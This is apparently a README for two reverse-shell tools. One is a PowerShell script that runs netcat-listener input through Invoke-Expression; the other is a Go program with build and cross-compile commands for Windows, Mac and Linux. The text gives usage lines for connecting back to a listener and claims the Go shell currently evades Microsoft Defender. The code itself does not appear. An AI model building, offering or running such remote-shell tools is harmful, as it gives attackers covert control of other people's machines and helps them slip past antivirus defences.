Native PowerShell reverse shell to a netcat listener.
Supports commands up to 16384 bytes in length, if you need longer than modify the line where the System.Byte[] object is declared.
This passes all commands entered from the netcat listener to PowerShell's Invoke-Expression, so this supports powershell + cmd.exe commands. Errors are sent over the socket
Usage:
./pwsh_revshell.ps1
pwsh_revshell -ip 127.0.0.1 -port 3333
Golang reverse shell. Does runtime OS detection and selects propert shell for Windows, Mac, and Linux. Is not detected currently by Microsoft Defender. To Compile:
Linux:
go build -ldflags="-s -w" -o revshell revshell.go
Cross compile on Linux for Windows:
GOOS=windows GOARCH=amd64 go build -ldflags="-s -w" -o revshell.exe revshell.go
To run, provide the IP address and port as command line arguments:
./revshell 127.0.0.1 3333
revshell.exe 127.0.0.1 3333